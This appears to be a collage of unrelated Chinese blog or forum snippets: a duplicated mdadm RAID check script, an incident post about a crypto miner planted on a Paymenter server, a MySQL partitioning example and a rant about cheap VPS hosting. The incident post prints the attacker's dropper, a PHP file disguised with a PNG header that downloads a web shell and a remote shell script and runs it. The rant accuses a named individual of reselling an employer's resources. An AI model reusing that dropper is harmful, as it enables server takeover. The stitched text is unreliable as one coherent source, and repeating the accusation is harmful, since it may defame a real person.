#!/bin/bash
# Define the array device
ARRAY="/dev/md10"
# Check if the array is active
if ! mdadm --detail "$ARRAY" >/dev/null 2>&1; then
echo "ERROR: Array $ARRAY is not active or does not exist."
exit 1
fi
# Check the array status
STATUS=$(mdadm --detail "$ARRAY" | grep -i state | awk '{print $NF}')
# Check if the array is in a degraded state
if [[ "$STATUS" != "clean" ]]; then
echo "WARNING: Array $ARRAY is in a degraded state! Status: $STATUS"
else
echo "INFO: Array $ARRAY is in a clean state."
fi
[root@103 ~]# cat a.sh
#!/bin/bash
# Define the array device
ARRAY="/dev/md10"
# Check if the array is active
if ! mdadm --detail "$ARRAY" >/dev/null 2>&1; then
echo "ERROR: Array $ARRAY is not active or does not exist."
exit 1
fi
# Check the array status
STATUS=$(mdadm --detail "$ARRAY" | grep -i state | awk '{print $NF}')
# Check if the array is in a degraded state
if [[ "$STATUS" != "clean" ]]; then
echo "WARNING: Array $ARRAY is in a degraded state! Status: $STATUS"
else
echo "INFO: Array $ARRAY is in a clean state."
fi
none
上半年装了一个体验一下丢着一直没管,今天上去发现有挖矿进程。
漏洞具体细节:https://cve.imfht.com/detail/CVE-2025-58048
root@localhost:/tmp# lsof -p 1479735
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
xmrig 1479735 paymenter cwd DIR 254,3 117 15784149 /home/paymenter/storage/app/public/ticket-attachments
xmrig 1479735 paymenter rtd DIR 254,3 298 128 /
xmrig 1479735 paymenter txt REG 254,3 8334576 15784153 /home/paymenter/storage/app/public/ticket-attachments/xmrig
xmrig 1479735 paymenter mem REG 254,3 561 3231722 /usr/share/zoneinfo/Asia/Shanghai
xmrig 1479735 paymenter mem REG 0,14 70684614 anon_inode:[io_uring] (stat: No such file or directory)
xmrig 1479735 paymenter 0r CHR 1,3 0t0 4 /dev/null
xmrig 1479735 paymenter 1w FIFO 0,13 0t0 70686037 pipe
xmrig 1479735 paymenter 2w FIFO 0,13 0t0 70685837 pipe
xmrig 1479735 paymenter 3u a_inode 0,14 0 1048 [eventpoll:9,11,13,14,15]
xmrig 1479735 paymenter 4u unix 0x00000000bd7e1641 0t0 26784 type=STREAM (CONNECTED)
xmrig 1479735 paymenter 5u a_inode 0,14 0 70684614 [io_uring]
xmrig 1479735 paymenter 6r REG 254,3 215 15784150 /home/paymenter/storage/app/public/ticket-attachments/XBrs38qG8DslCb8cOGWntcvNOceYQsu2AvFiQYDw.php
xmrig 1479735 paymenter 7r FIFO 0,13 0t0 70684615 pipe
xmrig 1479735 paymenter 8w FIFO 0,13 0t0 70684615 pipe
xmrig 1479735 paymenter 9r FIFO 0,13 0t0 70684616 pipe
xmrig 1479735 paymenter 10w FIFO 0,13 0t0 70684616 pipe
xmrig 1479735 paymenter 11u a_inode 0,14 0 1048 [eventfd:17]
xmrig 1479735 paymenter 12r CHR 1,3 0t0 4 /dev/null
xmrig 1479735 paymenter 13u a_inode 0,14 0 1048 [eventfd:25]
xmrig 1479735 paymenter 14u a_inode 0,14 0 1048 [eventfd:27]
xmrig 1479735 paymenter 15u IPv4 102158557 0t0 TCP XXXXXXX:53580->252.104.20.157.sg.kuroit.com:https (ESTABLISHED)
root@localhost:/tmp# cat /home/paymenter/storage/app/public/ticket-attachments/XBrs38qG8DslCb8cOGWntcvNOceYQsu2AvFiQYDw.php
@PNG
<?php
system("wget https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php");
system("wget https://bestvip.pt/storage/ticket-attachments/script.sh");
system("bash script.sh")
?>
阅读剩余部分...
CREATE TABLE `employees_range_timestamp` (
`emp_no` INT NOT NULL,
`birth_date` DATE NOT NULL,
`first_name` VARCHAR(14) NOT NULL,
`last_name` VARCHAR(16) NOT NULL,
`gender` ENUM('M','F') NOT NULL,
`hire_date` TIMESTAMP NOT NULL
)
PARTITION BY RANGE(UNIX_TIMESTAMP(hire_date))(
PARTITION p0 VALUES LESS THAN ( UNIX_TIMESTAMP('1960-12-31 00:00:00') ),
PARTITION p1 VALUES LESS THAN ( UNIX_TIMESTAMP('1970-12-31 00:00:00') ),
PARTITION p2 VALUES LESS THAN ( UNIX_TIMESTAMP('1980-12-31 00:00:00') ),
PARTITION p3 VALUES LESS THAN ( UNIX_TIMESTAMP('1990-12-31 00:00:00') ),
PARTITION p4 VALUES LESS THAN ( UNIX_TIMESTAMP('2020-12-31 00:00:00') )
);
之前写项目Mysql库已经超过2T,基础知识不扎实,傻乎乎的写了一堆代码实现自动分表拆成了600个分表(而且还在继续增加中。。。。。),现在项目已经运行起来了想再修改似乎来不及了。。。。
想转pgsql也头大得等老板拍板了才能搞动业务逻辑了。
刚开始都会有个错觉:“个人客户多、出货快、回本快,比企业客户好赚多了。”
但只要干过一阵子,就会发现现实完全相反——真正让人累的,不是机器,而是成堆的工单和沟通。小客户的钱好收,但不好伺候。
买 VPS 更多是“拿来玩”。要么是刚学 Linux,要么是想跑点爬虫、开翻墙节点、建个小网站。很多人第一次接触 SSH,连命令都不会敲。
装个系统不会选模板;重启后连不上 SSH;网站打不开就找客服说“你家机器不稳定”;甚至有人把 /etc 全删了还来问能不能“恢复一下”。
有时候你要花半小时跟对方说明“你的程序崩了不是服务器的问题”;但对方听不懂技术,只认结果:“我访问不了,就是你这边的问题。”
企业客户很少这样,他们会抓包、会看日志,知道边界在哪。可个人客户往往分不清“主机问题”和“网站问题”,什么都找你。
这形成了悖论——便宜的客户用得最多、问得最多、出事最多;而花钱多的客户反而最省心。
1个客户利润1w和1000个客户1w利润的基本成本和售后成本是指数级的差别,没有冗余资源接散户形同语饮鸩止渴,这也形成了各种大厂搞全自助操作的衍生路线,不是小厂服务好而是必须好才有生存空间。
其次小白客户懂了一些上手后,各种奇怪的骚操作要求,例如要求标配CN2带宽,要求免费换IP、换家庭宽带、换原生IP、双ISP等,市面上有很多亚洲CN2带宽卖得很便宜,但背后的原因是已经在其他客户身上把高价带宽的利润赚回来了,利用冗余带宽做低价引流,造成一些小白认为CN2本应该就是标配,以及各种NAT超售爆炸的价格几块钱一月的便宜错觉。
各种家宽和商业宽带是有一些路子可以做,但都是在法律风险边缘擦边,几乎都是清一色万人骑的IP,还需要各种骚操作配合才能正常使用, 其次一些类似日本地区根本就没法做,一堆人幻想要有日本原生IP,注册资料一眼假,价格要求必须低,没有日本当地住址或者永居,不签合约,随时能换ip,最好还要有CN2直连,这特么比1块钱买一户建要求都高。
综合的来说,现在市场上主流都是翻墙需求,把便宜VPS的IDC产品和家庭宽带混合在一起,其次再将各种机场低价混进来,各种buff叠一起形成了畸形的形态。
为什么会有各种遍地便宜vps的情况,大把的人做?
1.各种冗余的带宽,签了很多保底带宽,有其他大客户已经买过单了,卖出即纯利润,(包括各种机场专线带宽都是一样,卖给大客户大企业后使用量低,大量闲置)
2.NAT共享超售
3.法律擦边球,暴雷几率不高(但始终会爆,无法保证)
4.都太闲,几块钱能上论坛到处发帖SEO(但能去扎堆玩的网站越来越少,也没什么地儿可以发,更多是各种TG群和频道的管理员权限能发起制裁)
5.廉价订单普遍需求“情感支持”, “情感关爱”等情绪价值
总的来说纯廉价系列一月搞得好能赚不少小钱,但始终就是解决个温饱, 真来钱还是靠各种大户支撑,正经做的也就拿廉价系列引流, 不正经的就靠嫖点公司的冗余来给自己赚点小钱。
题外话:andy1999 许宸皓的YxVM就是这么干的,把东家公司的资源拿出来专门卖机场VPS,然后自己开了个博客https://lowendaff.com/发免费vps引流聚集了不少客户,还在 TG群频道https://t.me/lowendaff_blog 声讨我的时候把自己给彻底暴露了。
none